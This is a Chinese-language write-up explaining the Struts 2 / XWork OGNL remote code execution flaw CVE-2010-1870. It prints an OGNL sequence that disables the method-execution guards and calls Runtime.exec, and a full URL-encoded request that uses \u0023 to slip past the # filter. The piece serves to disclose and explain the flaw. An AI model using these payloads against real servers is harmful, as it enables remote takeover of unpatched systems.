推荐订阅源

2010年7月9日，安全研究者公布了Struts 2一个远程执行代码的漏洞（CVE-2010-1870），严格来说，这其实是XWork的漏洞，因为Struts 2的核心使用的是WebWork，而WebWork又是使用XWork来处理action的。

这个漏洞的细节描述公布在exploit-db 上。

在这里简单摘述如下：

XWork通过getters/setters方法从HTTP的参数中获取对应action的名称，这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL是怎么处理的呢？如下：

user.address.city=Bishkek&user['favoriteDrink']=kumys 

会被转化成：

action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")  

这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的，它的参数是用户可控的，由HTTP参数传入。OGNL的功能较为强大，远程执行代码也正是利用了它的功能。

* Method calling: foo()  
* Static method calling: @java.lang.System@exit(1)  
* Constructor calling: new MyClass()  
* Ability to work with context variables: #foo = new MyClass()  
* And more...  

由于参数完全是用户可控的，所以XWork出于安全的目的，增加了两个方法用以阻止代码执行。

* OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (缺省为true)  
* SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false)  

但这两个方法可以被覆盖，从而导致代码执行。

#_memberAccess['allowStaticMethodAccess'] = true  
#foo = new java .lang.Boolean("false")  
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo  
#rt = @java.lang.Runtime@getRuntime()  
#rt.exec('mkdir /tmp/PWNED')  

ParametersInterceptor是不允许参数名称中有#的，因为OGNL中的许多预定义变量也是以#表示的。

* #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.  
* #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.  
* #root  
* #this  
* #_typeResolver  
* #_classResolver  
* #_traceEvaluations  
* #_lastEvaluation  
* #_keepLastEvaluation  

可是攻击者在过去找到了这样的方法（bug编号XW-641）：使用\u0023来代替#，这是#的十六进制编码，从而构造出可以远程执行的攻击payload。

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den  
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti  
me()))=1  

最终导致代码执行成功。